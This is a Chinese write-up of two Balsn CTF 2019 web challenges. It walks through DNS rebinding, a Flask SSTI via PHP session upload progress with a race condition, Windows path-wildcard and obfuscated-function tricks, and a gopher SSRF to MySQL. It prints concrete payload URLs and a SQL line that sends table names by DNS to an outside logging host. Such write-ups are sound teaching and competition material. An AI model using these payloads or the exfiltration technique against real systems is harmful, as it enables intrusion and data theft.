前言
这次打了Balsn-ctf-2019感觉题目还不错因此总结一波。
0x01 Koreanfish
题目描述
台湾人喜欢韩国🐟
- Difficulty:难
- Type:web
- Solved:15/720
- Tag:PHP,DNS Rebinding,Flask,Race condition,SSTI,RCE
Source Code
这是一个白盒测试,并且全部的源码是非常短的并且是简单的。
前置知识。
Session上传进度。
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得,例如
1 |
|
通过将$_SESSION[$key][“cancel_upload”]设置为TRUE,还可以取消一个正在处理中的文件上传。 当在同一个请求中上传多个文件,它仅会取消当前正在处理的文件上传和未处理的文件上传,但是不会移除那些已经完成的上传。 当一个上传请求被这么取消时,$_FILES中的error将会被设置为 UPLOAD_ERR_EXTENSION。
session.upload_progress.freq 和 session.upload_progress.min_freq INI选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。
Example #1 样例信息
一个上传进度数组的结构的例子
1 | <form action="upload.php" method="POST" enctype="multipart/form-data"> |
在session中存放的数据看上去是这样子的:
1 |
|
step 1
如果你看到这个源码index.php
,你将会知道这第一步是去绕过ip
限制。
事实上,这是一个明显的DNS重新绑定漏洞,可以绕过ip
限制。
1 | $ip = @dns_get_record($res['host'], DNS_A)[0]['ip']; |
这个file_get_contents()
会再次查询DNS和读取响应。
如果我们将域的A记录设置为54.87.54.87
和127.0.0.1
,则可以绕过IP限制查询内部服务。
如果没有然后域名可以用一些在线的DNS重新绑定服务,例如:rbndr.us
。
例如36573657.7f000001.rbndr.us将返回54.87.54.87或127.0.0.1。
step 2
从dockerfile中,我们知道在同一台服务器上运行着一个简单的flask应用程序。
并且在/error_page
功能上存在明显的SSTI漏洞,它render_template_string()
与可控的内容一起使用。
如果error_status
设置为绝对路径,则返回路径os.path.join()
将被覆盖。
例如os.path.join("/var/www/flask", "error", "/etc/passwd")
将返回/etc/passwd
。
但是这里的问题是你不能直接触摸它/error_page
。
由于前面的php将检查查询的路径,因此该路径必须包含字符串korea
:
1 | if(stripos($res['path'], "korea") === FALSE) die("Error"); |
有两种方法可以绕过此路径的限制:
方法0x1
你可以使用重定向:
使用DNS重新绑定到服务器IP,然后设置/korea
要重定向到的路径127.0.0.1:5000/error_page?=err......
。
原因是file_get_contents()
将遵循302重定向。
方法0x2
使用Flask的特殊功能!
在flask应用程序中,//korea/ping
等于/ping
因此,你可以使用//korea/error_page?err=...
绕过限制。
step 3
现在,我们可以控制render_template_string()
读取内容的路径。
你应该可以找到一个可以放置我们可控有效负载的文件。
由于服务器使用php运行,因此可以使用该session.upload_progress
方法将SSTI有效负载上传到会话文件。
如果PHP_SESSION_UPLOAD_PROGRESS在多部分POST数据中提供,PHP将为您启用会话。
#####(概念与HITCON CTF 2018相同-一行php挑战:链接)
#####(注意:您的有效载荷不能包含|,因为这会破坏会话内容格式。)
step 4
默认session.upload_progress.cleanup
设置为On,因此您的SSTI有效负载将被快速清除。
我们可以用条件竞争绕过。
利用脚本:
1 | import sys |
最后getshell成功。
0x02 Warmup
题目描述
Baby PHP challenge again.
- Difficulty:难
- Type:Web
- Solved:5/720
- Tag:PHP,SSRF,MySQL,Windows
源码
这个题目涉及到许多的php原理和古老的php/windows技巧。
step 1
刚开始拿到源码发现非常的难读,我们需要重构一下。
下面是重构后的源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// This is the meme image location
$secret = base64_decode(str_rot13("CTygMlOmpz"."Z9VaSkYzcjMJpvCt=="));
highlight_file(__FILE__);
include("config.php");
$op = @$_GET['op'];
if(@strlen($op) < 3 && @($op + 8) < 'A_A') {
$_ = @$_GET['Σ>―(#°ω°#)♡→'];
if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) || @strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 )
exit($secret);
$ch = curl_init();
@curl_setopt($ch, CURLOPT_URL,
str_replace("%33%33%61", ">__<",
str_replace("%63%3a", "WTF", str_replace("633a", ":)",
str_repLace("433a", ":(",
str_replace("\x63:", "ggininder",
strtolower(
eval("return $_;")
))))))
);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 1);
@curl_EXEC($ch);
} else {
if(@stRLEn($op) < 4 && @($op + 78) < 'A__A') {
// There is a invisible character here. (\xe2\x81\xa3)
$_ = @$_GET[''];
if((strtolower(substr($_, -4)) === '.php') ||
(strtolower(substr($_, -4)) === 'php.') ||
(stripos($_, "\"") !== FALSE) ||
(stripos($_, "\x3e") !== FALSE) ||
(stripos($_,"\x3c") !== FALSE) ||
(stripos(strtolower($_), "amp") !== FALSE))
die($secret);
if(stripos($_, "..") !== FALSE)
die($secret);
if(stripos($_, "\x24") !== FALSE)
die($secret);
print_r(substr(@file_get_contents($_), 0, 155));
} else {
die($secret);
// It is useless, because there is a die function before it. :D
system($_GET[0x9487945]);
}
}
step 2
我们现在初始去读取config.php
有两个方式可以去用:
1.使用file_get_contents()
(预期)
2.使用eval()
(非预期)
方法 0x1
if(@stRLEn($op) < 4 && @($op + 78) < 'A__A')
对于这段代码我们可以用op=-99
来绕过。
之后我们可以输入我们的文件名到file_get_contents()
:
$_GET[''];
这个参数$_GET
的参数是\xE2\x81\xA3
,它是一个不可见的字符。
我们的目的是去阅读config.php
,但是对我们输入的一些文件名有检查。
我们不能使用.php
,php.
的文件名后缀并且我们的文件名不能包含"
,>
,<
,amp
,$
,..
。
为了去绕过这个限制去阅读php源代码,你仅仅需要去添加一个空格(%20):
config.php[SPACE]
(Because the server is running on Windows, there are some weird path normalization rule here :p)
你如果尝试去读取源代码config.php
使用如下payload:
1 | http://warmup.balsnctf.com/?op=-99&%E2%81%A3=config.php%20 |
你将会得到config.php
的内容。
1 | <?php |
因为file_get_contents()
的第三个参数是155。
我们应该使用一些特殊的php包装器来解压缩config.php
的内容。
因此php://filter/zlib.deflate
是最好的选择。
使用zlib.deflate
压缩内容,然后使用zlib.inflate
解压缩内容。
脚本如下:
1 |
|
你将会看见config.php
的内容。
1 |
|
方法 0x2
我们还可以使用eval()
来读取config.php
。
在这个eval()
函数中,你输入的$_
将会放到eval("return $_;")
。
但是有个严格的正则表达式来控制:
1 | if( preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i',$_) || @strlen(count_chars(strtolower($_), 0x3)) > 0xd || @strlen($_) > 19 ) |
然而我们可以使用~
来绕过许多的限制。
例如:~urldecode("%8D%9A%9E%9B%99%96%93%9A")
等价于readfile
在windows中,有一些MAGIC通配符功能可用于路径标准化。
例如:
>
将匹配一个任意字符。(例如?
在linux中)
<
将匹配零个或者多个任意字符。(例如*
在linux中)
结合~
技巧和<
技巧:
1 | /?op=-9&Σ>―(%23°ω°%23)♡→=(~%8D%9A%9E%9B%99%96%93%9A)(~%9C%90%C3%C3) |
(与readfile("co<<")
相同)
Step 3
config.php
的内容告诉我们flag是在MySQL 数据库中,我们接下来的目标是去查询MySQL Server并且获取结果。
并且我们知道这个user是admin
并且密码是空的,因此我们可以用gopher://
协议来SSRF去查询mysql server。
但是gopher的payload是十分长的,因此我们首先需要去绕过这个正则表达式。
如果你尝试去搜索全部的PHP函数,并且满足这个正则规则和长度限制,你将会发现一个可用的函数getenv()
这个函数会返回一个特别的头部值。
因此我们能将我们的gopher的payload放到这个HTTP header:
(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%AB)
(length: 18)
它等价于getenv("HTTP_T")
。
Step 4
现在我们可以SSRF:
现在,您有一个盲目的SSRF!
对于MySQL协议,可以使用Gopherus之类的一些工具来创建gopher负载。
最后,您只需要使用基于时间或带外(DNS日志)的方法来提取查询结果。
1 | select load_file(concat("\\\\",table_name,".e222e6f24ba81a9b414f.d.zhack.ca/a")) from information_schema.tables where table_schema="ThisIsTheDbName"; |
最后的脚本:
1 | #coding: utf-8 |